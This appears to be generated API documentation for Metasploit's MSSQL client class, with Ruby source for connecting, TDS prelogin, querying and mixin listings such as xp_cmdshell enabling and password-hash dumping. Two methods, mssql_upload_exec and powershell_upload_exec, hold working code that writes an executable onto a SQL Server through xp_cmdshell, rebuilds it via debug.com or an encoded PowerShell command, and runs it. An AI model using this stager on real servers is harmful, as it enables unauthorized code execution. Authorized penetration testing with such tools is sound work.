Class: Rex::Proto::MSSQL::Client

Inherits:
Object
  • Object
show all
Includes:
Metasploit::Framework::Tcp::Client, Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options, Msf::Exploit::Remote::Kerberos::Ticket::Storage, Msf::Exploit::Remote::MSSQL_COMMANDS, Msf::Exploit::Remote::NTLM::Client, Msf::Exploit::Remote::Udp, ClientMixin, Text
Defined in:
lib/rex/proto/mssql/client.rb

Constant Summary

Constants included from ClientMixin

Rex::Proto::MSSQL::ClientMixin::ENCRYPT_NOT_SUP, Rex::Proto::MSSQL::ClientMixin::ENCRYPT_OFF, Rex::Proto::MSSQL::ClientMixin::ENCRYPT_ON, Rex::Proto::MSSQL::ClientMixin::ENCRYPT_REQ, Rex::Proto::MSSQL::ClientMixin::STATUS_END_OF_MESSAGE, Rex::Proto::MSSQL::ClientMixin::STATUS_IGNORE_EVENT, Rex::Proto::MSSQL::ClientMixin::STATUS_NORMAL, Rex::Proto::MSSQL::ClientMixin::STATUS_RESETCONNECTION, Rex::Proto::MSSQL::ClientMixin::STATUS_RESETCONNECTIONSKIPTRAN, Rex::Proto::MSSQL::ClientMixin::TYPE_ATTENTION_SIGNAL, Rex::Proto::MSSQL::ClientMixin::TYPE_BULK_LOAD, Rex::Proto::MSSQL::ClientMixin::TYPE_PRE_LOGIN_MESSAGE, Rex::Proto::MSSQL::ClientMixin::TYPE_PRE_TDS7_LOGIN, Rex::Proto::MSSQL::ClientMixin::TYPE_RPC, Rex::Proto::MSSQL::ClientMixin::TYPE_SQL_BATCH, Rex::Proto::MSSQL::ClientMixin::TYPE_SSPI_MESSAGE, Rex::Proto::MSSQL::ClientMixin::TYPE_TABLE_RESPONSE, Rex::Proto::MSSQL::ClientMixin::TYPE_TDS7_LOGIN, Rex::Proto::MSSQL::ClientMixin::TYPE_TRANSACTION_MANAGER_REQUEST

Instance Attribute Summary collapse

Attributes included from Msf::Exploit::Remote::Udp

#udp_sock

Instance Method Summary collapse

Methods included from Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options

#kerberos_auth_options

Methods included from Msf::Exploit::Remote::Kerberos::Ticket::Storage

#kerberos_storage_options, #kerberos_ticket_storage, store_ccache

Methods included from Msf::Exploit::Remote::Udp

#cleanup, #connect_udp, #deregister_udp_options, #disconnect_udp, #handler, #lhost, #lport

Methods included from Msf::Exploit::Remote::MSSQL_COMMANDS

#mssql_2k5_password_hashes, #mssql_2k_password_hashes, #mssql_current_user_escalation, #mssql_db_names, #mssql_enumerate_servername, #mssql_is_sysadmin, #mssql_rdp_enable, #mssql_rebuild_xpcmdshell, #mssql_sa_escalation, #mssql_sql_info, #mssql_sql_xpcmdshell_disable_2000, #mssql_xpcmdshell_disable, #mssql_xpcmdshell_enable, #mssql_xpcmdshell_enable_2000

Methods included from ClientMixin

#mssql_parse_done, #mssql_parse_env, #mssql_parse_error, #mssql_parse_info, #mssql_parse_login_ack, #mssql_parse_reply, #mssql_parse_ret, #mssql_parse_tds_reply, #mssql_parse_tds_row, #mssql_prelogin_packet, #mssql_print_reply, #mssql_send_recv, #mssql_xpcmdshell, #parse_prelogin_response

Methods included from Msf::Module::UI::Message

#print_error, #print_good, #print_prefix, #print_status, #print_warning

Methods included from Msf::Module::UI::Message::Verbose

#vprint_error, #vprint_good, #vprint_status, #vprint_warning

Methods included from Metasploit::Framework::Tcp::Client

#disconnect, #set_tcp_evasions

Constructor Details

#initialize(framework_module, framework, rhost, rport = 1433, proxies = nil, sslkeylogfile: nil) ⇒ Client

Returns a new instance of Client.



54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# File 'lib/rex/proto/mssql/client.rb', line 54

def initialize(framework_module, framework, rhost, rport = 1433, proxies = nil, sslkeylogfile: nil)
  @framework_module       = framework_module
  @framework              = framework
  @connection_timeout     = framework_module.datastore['ConnectTimeout']      || 30
  @max_send_size          = framework_module.datastore['TCP::max_send_size']  || 0
  @send_delay             = framework_module.datastore['TCP::send_delay']     || 0

  @auth                   = framework_module.datastore['Mssql::Auth']         || Msf::Exploit::Remote::AuthOption::AUTO
  @hostname               = framework_module.datastore['Mssql::Rhostname']    || ''

  @tdsencryption          = framework_module.datastore['TDSENCRYPTION']       || false
  @hex2binary             = framework_module.datastore['HEX2BINARY']          || ''

  @domain_controller_rhost = framework_module.datastore['DomainControllerRhost'] || ''
  @rhost = rhost
  @rport = rport
  @proxies = proxies
  @sslkeylogfile = sslkeylogfile
  @current_database = ''
  @initial_connection_info = {errors: []}
end

Instance Attribute Details

#authObject

Returns the value of attribute auth.



22
23
24
# File 'lib/rex/proto/mssql/client.rb', line 22

def auth
  @auth
end

#connection_timeoutObject

Returns the value of attribute connection_timeout.



31
32
33
# File 'lib/rex/proto/mssql/client.rb', line 31

def connection_timeout
  @connection_timeout
end

#current_databaseString

Returns The database name this client is currently connected to.

Returns:

  • (String)

    The database name this client is currently connected to.



52
53
54
# File 'lib/rex/proto/mssql/client.rb', line 52

def current_database
  @current_database
end

#frameworkObject (readonly)

Returns the value of attribute framework.



39
40
41
# File 'lib/rex/proto/mssql/client.rb', line 39

def framework
  @framework
end

#framework_moduleObject (readonly)

Returns the value of attribute framework_module.



38
39
40
# File 'lib/rex/proto/mssql/client.rb', line 38

def framework_module
  @framework_module
end

#initial_connection_infoHash

Returns Key-value pairs received from the server during the initial MSSQL connection.

Returns:

  • (Hash)

    Key-value pairs received from the server during the initial MSSQL connection.



49
50
51
# File 'lib/rex/proto/mssql/client.rb', line 49

def initial_connection_info
  @initial_connection_info
end

#max_send_sizeInteger

Returns The max size of the data to encapsulate in a single packet.

Returns:

  • (Integer)

    The max size of the data to encapsulate in a single packet



42
43
44
# File 'lib/rex/proto/mssql/client.rb', line 42

def max_send_size
  @max_send_size
end

#proxiesObject

Returns the value of attribute proxies.



30
31
32
# File 'lib/rex/proto/mssql/client.rb', line 30

def proxies
  @proxies
end

#send_delayInteger

Returns The delay between sending packets.

Returns:

  • (Integer)

    The delay between sending packets



45
46
47
# File 'lib/rex/proto/mssql/client.rb', line 45

def send_delay
  @send_delay
end

#send_lmObject

Returns the value of attribute send_lm.



32
33
34
# File 'lib/rex/proto/mssql/client.rb', line 32

def send_lm
  @send_lm
end

#send_ntlmObject

Returns the value of attribute send_ntlm.



33
34
35
# File 'lib/rex/proto/mssql/client.rb', line 33

def send_ntlm
  @send_ntlm
end

#send_spnObject

Returns the value of attribute send_spn.



34
35
36
# File 'lib/rex/proto/mssql/client.rb', line 34

def send_spn
  @send_spn
end

#sockObject

Returns the value of attribute sock.



21
22
23
# File 'lib/rex/proto/mssql/client.rb', line 21

def sock
  @sock
end

#sslObject

Returns the value of attribute ssl.



23
24
25
# File 'lib/rex/proto/mssql/client.rb', line 23

def ssl
  @ssl
end

#ssl_cipherObject

Returns the value of attribute ssl_cipher.



26
27
28
# File 'lib/rex/proto/mssql/client.rb', line 26

def ssl_cipher
  @ssl_cipher
end

#ssl_verify_modeObject

Returns the value of attribute ssl_verify_mode.



25
26
27
# File 'lib/rex/proto/mssql/client.rb', line 25

def ssl_verify_mode
  @ssl_verify_mode
end

#ssl_versionObject

Returns the value of attribute ssl_version.



24
25
26
# File 'lib/rex/proto/mssql/client.rb', line 24

def ssl_version
  @ssl_version
end

#sslkeylogfileString

Returns The SSL key log file path.

Returns:

  • (String)

    The SSL key log file path



29
30
31
# File 'lib/rex/proto/mssql/client.rb', line 29

def sslkeylogfile
  @sslkeylogfile
end

#tdsencryptionObject

Returns the value of attribute tdsencryption.



20
21
22
# File 'lib/rex/proto/mssql/client.rb', line 20

def tdsencryption
  @tdsencryption
end

#use_lmkeyObject

Returns the value of attribute use_lmkey.



35
36
37
# File 'lib/rex/proto/mssql/client.rb', line 35

def use_lmkey
  @use_lmkey
end

#use_ntlm2_sessionObject

Returns the value of attribute use_ntlm2_session.



36
37
38
# File 'lib/rex/proto/mssql/client.rb', line 36

def use_ntlm2_session
  @use_ntlm2_session
end

#use_ntlmv2Object

Returns the value of attribute use_ntlmv2.



37
38
39
# File 'lib/rex/proto/mssql/client.rb', line 37

def use_ntlmv2
  @use_ntlmv2
end

Instance Method Details

#chostObject (protected)



366
367
368
# File 'lib/rex/proto/mssql/client.rb', line 366

def chost
  return nil
end

#connect(global = true, opts = {}) ⇒ Object



76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# File 'lib/rex/proto/mssql/client.rb', line 76

def connect(global = true, opts={})
  dossl = false
  if(opts.has_key?('SSL'))
    dossl = opts['SSL']
  else
    dossl = ssl
  end

  @mstds_channel = Rex::Proto::MsTds::Channel.new(
    'PeerHost'      =>  opts['RHOST'] || rhost,
    'PeerHostname'  =>  opts['SSLServerNameIndication'] || opts['RHOSTNAME'],
    'PeerPort'      => (opts['RPORT'] || rport).to_i,
    'LocalHost'     =>  opts['CHOST'] || chost || "0.0.0.0",
    'LocalPort'     => (opts['CPORT'] || cport || 0).to_i,
    'SSL'           =>  dossl,
    'SSLVersion'    =>  opts['SSLVersion'] || ssl_version,
    'SSLVerifyMode' =>  opts['SSLVerifyMode'] || ssl_verify_mode,
    'SSLKeyLogFile' =>  opts['SSLKeyLogFile'] || sslkeylogfile,
    'SSLCipher'     =>  opts['SSLCipher'] || ssl_cipher,
    'Proxies'       => proxies,
    'Timeout'       => (opts['ConnectTimeout'] || connection_timeout || 10).to_i,
    'Context'       => { 'Msf' => framework, 'MsfExploit' => framework_module }
  )
  nsock = @mstds_channel.lsock
  # enable evasions on this socket
  set_tcp_evasions(nsock)

  # Set this socket to the global socket as necessary
  self.sock = nsock if (global)

  return nsock
end

#cportObject (protected)



370
371
372
# File 'lib/rex/proto/mssql/client.rb', line 370

def cport
  return nil
end

#detect_platform_and_archHash

Returns Detect the platform and architecture of the MSSQL server:

  • :arch [String] The server architecture.

  • :platform [String] The server platform.

Returns:

  • (Hash)

    Detect the platform and architecture of the MSSQL server:

    • :arch [String] The server architecture.

    • :platform [String] The server platform.



150
151
152
153
154
155
156
157
158
159
160
# File 'lib/rex/proto/mssql/client.rb', line 150

def detect_platform_and_arch
  result = {}

  version_string = query('select @@version')[:rows][0][0]
  arch = version_string[/\b\d+\.\d+\.\d+\.\d+\s\(([^)]*)\)/, 1] || version_string
  plat = version_string[/\bon\b\s+(\w+)/, 1] || version_string

  result[:arch]     = map_compile_arch_to_architecture(arch)
  result[:platform] = map_compile_os_to_platform(plat)
  result
end

#initial_info_for_envchange(envchange: nil) ⇒ Hash

Parameters:

  • envchange (ENVCHANGE) (defaults to: nil)

    The ENVCHANGE type to get the information for.

Returns:

  • (Hash)

    Returns a hash of values if the provided type exists.

  • (Hash)

    Returns the whole connection info if envchange is nil.

  • (Hash)

    Returns an empty hash if the provided type is not present.



337
338
339
340
341
342
# File 'lib/rex/proto/mssql/client.rb', line 337

def initial_info_for_envchange(envchange: nil)
  return self.initial_connection_info if envchange.nil?
  return nil unless (self.initial_connection_info && self.initial_connection_info.is_a?(::Hash))

  self.initial_connection_info[:envs]&.select { |hash| hash[:type] == envchange }&.first || {}
end

#map_compile_arch_to_architecture(server_info) ⇒ Object

MS SQL Server currently only supports 64 bit but older installs may be x86



128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
# File 'lib/rex/proto/mssql/client.rb', line 128

def map_compile_arch_to_architecture(server_info)
  return '' if server_info.blank?

  arch_data = server_info.downcase.encode(::Encoding::BINARY)

  if arch_data.match?('x64')
    arch = ARCH_X86_64
  elsif arch_data.match?('x86')
    arch = ARCH_X86
  elsif arch_data.match?('64')
    arch = ARCH_X86_64
  elsif arch_data.match?('32-bit')
    arch = ARCH_X86
  else
    arch = arch_data
  end
  arch
end

#map_compile_os_to_platform(server_info) ⇒ Object

MS SQL Server only supports Windows and Linux



110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
# File 'lib/rex/proto/mssql/client.rb', line 110

def map_compile_os_to_platform(server_info)
  return '' if server_info.blank?

  os_data = server_info.downcase.encode(::Encoding::BINARY)

  if os_data.match?('linux')
    platform = Msf::Platform::Linux.realname
  elsif os_data.match?('windows')
    platform = Msf::Platform::Windows.realname
  elsif os_data.match?('win')
    platform = Msf::Platform::Windows.realname
  else
    platform = os_data
  end
  platform
end

#mssql_login(user = 'sa', pass = '', db = '', domain_name = '') ⇒ Object

This method connects to the server over TCP and attempts to authenticate with the supplied username and password The global socket is used and left connected after auth



168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
# File 'lib/rex/proto/mssql/client.rb', line 168

def (user='sa', pass='', db='', domain_name='')
  case auth
  when Msf::Exploit::Remote::AuthOption::AUTO
    if domain_name.blank?
      (user, pass, db, domain_name)
    else
      (user, pass, db, domain_name)
    end
  when Msf::Exploit::Remote::AuthOption::KERBEROS
    (user, pass, db, domain_name)
  when Msf::Exploit::Remote::AuthOption::NTLM
    (user, pass, db, domain_name)
  when Msf::Exploit::Remote::AuthOption::PLAINTEXT
    (user, pass, db, domain_name)
  end
end

#mssql_prelogin(enc_error = false) ⇒ Object

this method send a prelogin packet and check if encryption is off



188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
# File 'lib/rex/proto/mssql/client.rb', line 188

def mssql_prelogin(enc_error=false)
  disconnect if self.sock
  connect

  pkt = mssql_prelogin_packet

  resp = mssql_send_recv(pkt)

  idx = 0
  data = parse_prelogin_response(resp)

  unless data[:encryption]
    framework_module.print_error("Unable to parse encryption req " \
      "during pre-login, this may not be a MSSQL server")
    data[:encryption] = ENCRYPT_NOT_SUP
  end

  ##########################################################
  # Our initial prelogin pkt above said we didnt support
  # encryption (it's quicker and the default).
  #
  # Per the matrix on the following link, SQL Server will
  # terminate the connection if it does require TLS,
  # otherwise it will accept an unencrypted session. As
  # part of this initial response packet, it also returns
  # ENCRYPT_REQ.
  #
  # https://msdn.microsoft.com\
  #   /en-us/library/ee320519(v=sql.105).aspx
  #
  ##########################################################

  if data[:encryption] == ENCRYPT_REQ
    # restart prelogin process except that we tell SQL Server
    # than we are now able to encrypt
    disconnect if self.sock
    connect

    # offset 35 is the flag - turn it on
    pkt[35] = [ENCRYPT_ON].pack('C')
    self.tdsencryption = true
    framework_module.print_status("TLS encryption has " \
      "been enabled based on server response.")

    resp = mssql_send_recv(pkt)
    data = parse_prelogin_response(resp)

    unless data[:encryption]
      framework_module.print_error("Unable to parse encryption req " \
        "during pre-login, this may not be a MSSQL server")
      data[:encryption] = ENCRYPT_NOT_SUP
    end
  end
  data
end

#mssql_upload_exec(exe, debug = false) ⇒ Object



271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
# File 'lib/rex/proto/mssql/client.rb', line 271

def mssql_upload_exec(exe, debug=false)
  hex = exe.unpack("H*")[0]

  var_bypass  = Rex::Text.rand_text_alpha(8)
  var_payload = Rex::Text.rand_text_alpha(8)

  print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
  print_status("Writing the debug.com loader to the disk...")
  h2b = File.read(@hex2binary, File.size(@hex2binary))
  h2b.gsub!('KemneE3N', "%TEMP%\\#{var_bypass}")
  h2b.split("\n").each do |line|
    mssql_xpcmdshell("#{line}", false)
  end

  print_status("Converting the debug script to an executable...")
  mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
  mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)

  print_status("Uploading the payload, please be patient...")
  idx = 0
  cnt = 500
  while(idx < hex.length - 1)
    mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
    idx += cnt
  end

  print_status("Converting the encoded payload...")
  mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
  mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
  mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)

  print_status("Executing the payload...")
  mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
end

#peerhostObject



344
345
346
# File 'lib/rex/proto/mssql/client.rb', line 344

def peerhost
  rhost
end

#peerinfoObject



352
353
354
# File 'lib/rex/proto/mssql/client.rb', line 352

def peerinfo
  Rex::Socket.to_authority(peerhost, peerport)
end

#peerportObject



348
349
350
# File 'lib/rex/proto/mssql/client.rb', line 348

def peerport
  rport
end

#powershell_upload_exec(exe, debug = false) ⇒ Object



306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
# File 'lib/rex/proto/mssql/client.rb', line 306

def powershell_upload_exec(exe, debug=false)
  # hex converter
  hex = exe.unpack("H*")[0]
  # create random alpha 8 character names
  #var_bypass  = rand_text_alpha(8)
  var_payload = rand_text_alpha(8)
  print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
  # our payload converter, grabs a hex file and converts it to binary for us through powershell
  h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
  h2b_unicode=Rex::Text.to_unicode(h2b)
  # base64 encode it, this allows us to perform execution through powershell without registry changes
  h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
  print_status("Uploading the payload #{var_payload}, please be patient...")
  idx = 0
  cnt = 500
  while(idx < hex.length - 1)
    mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
    idx += cnt
  end
  print_status("Converting the payload utilizing PowerShell EncodedCommand...")
  mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
  mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
  print_status("Executing the payload...")
  mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
  print_status("Be sure to cleanup #{var_payload}.exe...")
end

#query(sqla, doprint = false, opts = {}) ⇒ Object



244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
# File 'lib/rex/proto/mssql/client.rb', line 244

def query(sqla, doprint=false, opts={})
  info = { :sql => sqla }
  opts[:timeout] ||= 15
  pkts = []
  idx  = 0

  bsize = 4096 - 8
  chan  = 0

  @cnt ||= 0
  @cnt += 1

  sql = Rex::Text.to_unicode(sqla)
  while(idx < sql.length)
    buf = sql[idx, bsize]
    flg = buf.length < bsize ? "\x01" : "\x00"
    pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
    idx += bsize

  end

  resp = mssql_send_recv(pkts.join, opts[:timeout])
  mssql_parse_reply(resp, info)
  mssql_print_reply(info) if doprint
  info
end

#rhostObject (protected)



358
359
360
# File 'lib/rex/proto/mssql/client.rb', line 358

def rhost
  @rhost
end

#rportObject (protected)



362
363
364
# File 'lib/rex/proto/mssql/client.rb', line 362

def rport
  @rport
end